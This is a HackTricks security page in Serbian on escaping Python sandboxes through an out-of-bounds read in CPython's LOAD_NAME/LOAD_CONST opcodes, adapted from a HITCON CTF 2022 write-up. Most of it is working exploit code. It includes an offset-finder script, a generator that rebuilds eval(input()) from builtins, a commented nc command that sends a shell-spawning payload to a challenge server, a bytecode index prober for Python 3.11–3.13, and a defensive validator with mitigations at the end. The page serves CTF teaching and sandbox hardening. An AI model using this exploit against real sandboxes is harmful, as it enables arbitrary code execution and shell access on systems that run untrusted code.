LOAD_NAME / LOAD_CONST opcode OOB Read
Reading time: 11 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Ove informacije su preuzete iz ovog izveštaja.
TL;DR
Možemo koristiti OOB read funkciju u LOAD_NAME / LOAD_CONST opcode da dobijemo neki simbol u memoriji. Što znači korišćenje trikova kao što su (a, b, c, ... stotine simbola ..., __getattribute__) if [] else [].__getattribute__(...)
da dobijemo simbol (kao što je ime funkcije) koji želimo.
Zatim samo kreirajte svoj exploit.
Overview
Izvorni kod je prilično kratak, sadrži samo 4 linije!
source = input('>>> ')
if len(source) > 13337: exit(print(f"{'L':O<13337}NG"))
code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=())
print(eval(code, {'__builtins__': {}}))1234
Možete uneti proizvoljni Python kod, i on će biti kompajliran u Python kod objekat. Međutim, co_consts
i co_names
tog kod objekta biće zamenjeni praznom tuplom pre nego što se eval-uju.
Tako da na ovaj način, sve izraze koji sadrže konstante (npr. brojevi, stringovi itd.) ili imena (npr. promenljive, funkcije) mogu izazvati segfault na kraju.
Out of Bound Read
Kako se dešava segfault?
Hajde da počnemo sa jednostavnim primerom, [a, b, c]
može biti kompajliran u sledeći bajtkod.
1 0 LOAD_NAME 0 (a)
2 LOAD_NAME 1 (b)
4 LOAD_NAME 2 (c)
6 BUILD_LIST 3
8 RETURN_VALUE12345
Ali šta ako co_names
postane prazan tuple? LOAD_NAME 2
opcode se i dalje izvršava i pokušava da pročita vrednost sa te memorijske adrese sa koje bi prvobitno trebala da bude. Da, ovo je "karakteristika" čitanja van granica.
Osnovni koncept rešenja je jednostavan. Neki opkodi u CPython-u, na primer LOAD_NAME
i LOAD_CONST
, su ranjivi (?) na OOB čitanje.
Oni preuzimaju objekat sa indeksa oparg
iz consts
ili names
tuple-a (to su co_consts
i co_names
pod haubom). Možemo se osloniti na sledeći kratak isječak o LOAD_CONST
da vidimo šta CPython radi kada obrađuje LOAD_CONST
opcode.
case TARGET(LOAD_CONST): {
PREDICTED(LOAD_CONST);
PyObject *value = GETITEM(consts, oparg);
Py_INCREF(value);
PUSH(value);
FAST_DISPATCH();
}1234567
Na ovaj način možemo koristiti OOB funkciju da dobijemo "ime" sa proizvoljnog memorijskog ofseta. Da bismo bili sigurni koje ime ima i koji je njegov ofset, samo nastavite da pokušavate LOAD_NAME 0
, LOAD_NAME 1
... LOAD_NAME 99
... I mogli biste pronaći nešto u vezi oparg > 700. Takođe možete pokušati da koristite gdb da pogledate raspored memorije, naravno, ali ne mislim da bi to bilo lakše?
Generating the Exploit
Kada dobijemo te korisne ofsete za imena / konstante, kako dobijamo ime / konstantu sa tog ofseta i koristimo je? Evo jednog trika za vas:
Pretpostavimo da možemo dobiti __getattribute__
ime sa ofseta 5 (LOAD_NAME 5
) sa co_names=()
, onda samo uradite sledeće:
[a,b,c,d,e,__getattribute__] if [] else [
[].__getattribute__
# you can get the __getattribute__ method of list object now!
]1234
Obratite pažnju da nije potrebno nazvati ga
__getattribute__
, možete ga nazvati nečim kraćim ili čudnijim
Razlog možete razumeti jednostavno gledajući njegov bajtkod:
0 BUILD_LIST 0
2 POP_JUMP_IF_FALSE 20
>> 4 LOAD_NAME 0 (a)
>> 6 LOAD_NAME 1 (b)
>> 8 LOAD_NAME 2 (c)
>> 10 LOAD_NAME 3 (d)
>> 12 LOAD_NAME 4 (e)
>> 14 LOAD_NAME 5 (__getattribute__)
16 BUILD_LIST 6
18 RETURN_VALUE
20 BUILD_LIST 0
>> 22 LOAD_ATTR 5 (__getattribute__)
24 BUILD_LIST 1
26 RETURN_VALUE1234567891011121314
Napomena da LOAD_ATTR
takođe preuzima ime iz co_names
. Python učitava imena sa iste pozicije ako je ime isto, tako da se drugi __getattribute__
i dalje učitava sa offset=5. Koristeći ovu funkciju možemo koristiti proizvoljno ime kada je ime u memoriji u blizini.
Za generisanje brojeva bi trebalo da bude trivijalno:
- 0: not [[]]
- 1: not []
- 2: (not []) + (not [])
- ...
Exploit Script
Nisam koristio konstante zbog ograničenja dužine.
Prvo, ovde je skripta za pronalaženje tih offset-a imena.
from types import CodeType
from opcode import opmap
from sys import argv
class MockBuiltins(dict):
def __getitem__(self, k):
if type(k) == str:
return k
if __name__ == '__main__':
n = int(argv[1])
code = [
*([opmap['EXTENDED_ARG'], n // 256]
if n // 256 != 0 else []),
opmap['LOAD_NAME'], n % 256,
opmap['RETURN_VALUE'], 0
]
c = CodeType(
0, 0, 0, 0, 0, 0,
bytes(code),
(), (), (), '<sandbox>', '<eval>', 0, b'', ()
)
ret = eval(c, {'__builtins__': MockBuiltins()})
if ret:
print(f'{n}: {ret}')
# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
I sledeće je za generisanje pravog Python eksploita.
import sys
import unicodedata
class Generator:
# get numner
def __call__(self, num):
if num == 0:
return '(not[[]])'
return '(' + ('(not[])+' * num)[:-1] + ')'
# get string
def __getattribute__(self, name):
try:
offset = None.__dir__().index(name)
return f'keys[{self(offset)}]'
except ValueError:
offset = None.__class__.__dir__(None.__class__).index(name)
return f'keys2[{self(offset)}]'
_ = Generator()
names = []
chr_code = 0
for x in range(4700):
while True:
chr_code += 1
char = unicodedata.normalize('NFKC', chr(chr_code))
if char.isidentifier() and char not in names:
names.append(char)
break
offsets = {
"__delitem__": 2800,
"__getattribute__": 2850,
'__dir__': 4693,
'__repr__': 2128,
}
variables = ('keys', 'keys2', 'None_', 'NoneType',
'm_repr', 'globals', 'builtins',)
for name, offset in offsets.items():
names[offset] = name
for i, var in enumerate(variables):
assert var not in offsets
names[792 + i] = var
source = f'''[
({",".join(names)}) if [] else [],
None_ := [[]].__delitem__({_(0)}),
keys := None_.__dir__(),
NoneType := None_.__getattribute__({_.__class__}),
keys2 := NoneType.__dir__(NoneType),
get := NoneType.__getattribute__,
m_repr := get(
get(get([],{_.__class__}),{_.__base__}),
{_.__subclasses__}
)()[-{_(2)}].__repr__,
globals := get(m_repr, m_repr.__dir__()[{_(6)}]),
builtins := globals[[*globals][{_(7)}]],
builtins[[*builtins][{_(19)}]](
builtins[[*builtins][{_(28)}]](), builtins
)
]'''.strip().replace('\n', '').replace(' ', '')
print(f"{len(source) = }", file=sys.stderr)
print(source)
# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
U suštini radi sledeće stvari, za te stringove dobijamo ih iz __dir__
metode:
getattr = (None).__getattribute__('__class__').__getattribute__
builtins = getattr(
getattr(
getattr(
[].__getattribute__('__class__'),
'__base__'),
'__subclasses__'
)()[-2],
'__repr__').__getattribute__('__globals__')['builtins']
builtins['eval'](builtins['input']())
Beleške o verziji i pogođeni opkodi (Python 3.11–3.13)
- CPython bajtkod opkodi još uvek indeksiraju
co_consts
ico_names
torke pomoću celobrojnih operanada. Ako napadač može da primora ove torke da budu prazne (ili manje od maksimalnog indeksa koji koristi bajtkod), interpreter će čitati memoriju van granica za taj indeks, što rezultira proizvoljnim PyObject pokazivačem iz obližnje memorije. Relevantni opkodi uključuju barem: LOAD_CONST consti
→ čitaco_consts[consti]
.LOAD_NAME namei
,STORE_NAME
,DELETE_NAME
,LOAD_GLOBAL
,STORE_GLOBAL
,IMPORT_NAME
,IMPORT_FROM
,LOAD_ATTR
,STORE_ATTR
→ čitaju imena izco_names[...]
(za 3.11+ napomenaLOAD_ATTR
/LOAD_GLOBAL
čuva zastavice u niskom bitu; stvarni indeks jenamei >> 1
). Pogledajte dokumentaciju disassembler-a za tačnu semantiku po verziji. [Python dis docs].- Python 3.11+ je uveo adaptivne/in-line kešove koji dodaju skrivene
CACHE
unose između instrukcija. Ovo ne menja OOB primitiv; to samo znači da, ako ručno pravite bajtkod, morate uzeti u obzir te keš unose prilikom izgradnjeco_code
.
Praktična implikacija: tehnika na ovoj stranici nastavlja da funkcioniše na CPython 3.11, 3.12 i 3.13 kada možete kontrolisati objekat koda (npr. putem CodeType.replace(...)
) i smanjiti co_consts
/co_names
.
Brzi skener za korisne OOB indekse (kompatibilan sa 3.11+/3.12+)
Ako više volite da istražujete zanimljive objekte direktno iz bajtkoda umesto iz visokog nivoa izvora, možete generisati minimalne objekte koda i brute force indekse. Pomoćni alat ispod automatski ubacuje in-line kešove kada je to potrebno.
import dis, types
def assemble(ops):
# ops: list of (opname, arg) pairs
cache = bytes([dis.opmap.get("CACHE", 0), 0])
out = bytearray()
for op, arg in ops:
opc = dis.opmap[op]
out += bytes([opc, arg])
# Python >=3.11 inserts per-opcode inline cache entries
ncache = getattr(dis, "_inline_cache_entries", {}).get(opc, 0)
out += cache * ncache
return bytes(out)
# Reuse an existing function's code layout to simplify CodeType construction
base = (lambda: None).__code__
# Example: probe co_consts[i] with LOAD_CONST i and return it
# co_consts/co_names are intentionally empty so LOAD_* goes OOB
def probe_const(i):
code = assemble([
("RESUME", 0), # 3.11+
("LOAD_CONST", i),
("RETURN_VALUE", 0),
])
c = base.replace(co_code=code, co_consts=(), co_names=())
try:
return eval(c)
except Exception:
return None
for idx in range(0, 300):
obj = probe_const(idx)
if obj is not None:
print(idx, type(obj), repr(obj)[:80])
Notes
- Da biste umesto toga ispitivali imena, zamenite
LOAD_CONST
saLOAD_NAME
/LOAD_GLOBAL
/LOAD_ATTR
i prilagodite korišćenje steka u skladu s tim. - Koristite
EXTENDED_ARG
ili više bajtovaarg
da dođete do indeksa >255 ako je potrebno. Kada gradite sadis
kao gore, kontrolišete samo nizak bajt; za veće indekse, konstruisite sirove bajtove sami ili podelite napad na više učitavanja.
Minimal bytecode-only RCE pattern (co_consts OOB → builtins → eval/input)
Kada identifikujete co_consts
indeks koji se rešava na builtins modul, možete rekonstruisati eval(input())
bez ikakvih co_names
manipulišući stekom:
# Build co_code that:
# 1) LOAD_CONST <builtins_idx> → push builtins module
# 2) Use stack shuffles and BUILD_TUPLE/UNPACK_EX to peel strings like 'input'/'eval'
# out of objects living nearby in memory (e.g., from method tables),
# 3) BINARY_SUBSCR to do builtins["input"] / builtins["eval"], CALL each, and RETURN_VALUE
# This pattern is the same idea as the high-level exploit above, but expressed in raw bytecode.
Ovaj pristup je koristan u izazovima koji vam daju direktnu kontrolu nad co_code
dok primoravaju co_consts=()
i co_names=()
(npr., BCTF 2024 “awpcode”). Izbegava trikove na nivou izvora i održava veličinu payload-a malom koristeći bytecode stack ops i tuple graditelje.
Defensivna provere i mitigacije za sandboksove
Ako pišete Python “sandbox” koji kompajlira/evaluira nepouzdani kod ili manipuliše kod objektima, ne oslanjajte se na CPython da proverava granice tuple indeksa korišćenih od strane bytecode-a. Umesto toga, sami validirajte kod objekte pre nego što ih izvršite.
Praktični validator (odbija OOB pristup co_consts/co_names)
import dis
def max_name_index(code):
max_idx = -1
for ins in dis.get_instructions(code):
if ins.opname in {"LOAD_NAME","STORE_NAME","DELETE_NAME","IMPORT_NAME",
"IMPORT_FROM","STORE_ATTR","LOAD_ATTR","LOAD_GLOBAL","DELETE_GLOBAL"}:
namei = ins.arg or 0
# 3.11+: LOAD_ATTR/LOAD_GLOBAL encode flags in the low bit
if ins.opname in {"LOAD_ATTR","LOAD_GLOBAL"}:
namei >>= 1
max_idx = max(max_idx, namei)
return max_idx
def max_const_index(code):
return max([ins.arg for ins in dis.get_instructions(code)
if ins.opname == "LOAD_CONST"] + [-1])
def validate_code_object(code: type((lambda:0).__code__)):
if max_const_index(code) >= len(code.co_consts):
raise ValueError("Bytecode refers to const index beyond co_consts length")
if max_name_index(code) >= len(code.co_names):
raise ValueError("Bytecode refers to name index beyond co_names length")
# Example use in a sandbox:
# src = input(); c = compile(src, '<sandbox>', 'exec')
# c = c.replace(co_consts=(), co_names=()) # if you really need this, validate first
# validate_code_object(c)
# eval(c, {'__builtins__': {}})
Dodatne ideje za ublažavanje
- Ne dozvolite proizvoljni
CodeType.replace(...)
na nepouzdanom ulazu, ili dodajte stroge strukturne provere na rezultantnom objektu koda. - Razmotrite pokretanje nepouzdanog koda u odvojenom procesu sa OS-nivo sandboxingom (seccomp, job objekti, kontejneri) umesto oslanjanja na CPython semantiku.
Reference
- Splitline-ov HITCON CTF 2022 izveštaj “V O I D” (izvor ove tehnike i visoko-nivo lanac eksploatacije): https://blog.splitline.tw/hitcon-ctf-2022/
- Dokumentacija za Python disassembler (semantika indeksa za LOAD_CONST/LOAD_NAME/etc., i 3.11+
LOAD_ATTR
/LOAD_GLOBAL
niske-bitne zastavice): https://docs.python.org/3.13/library/dis.html
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.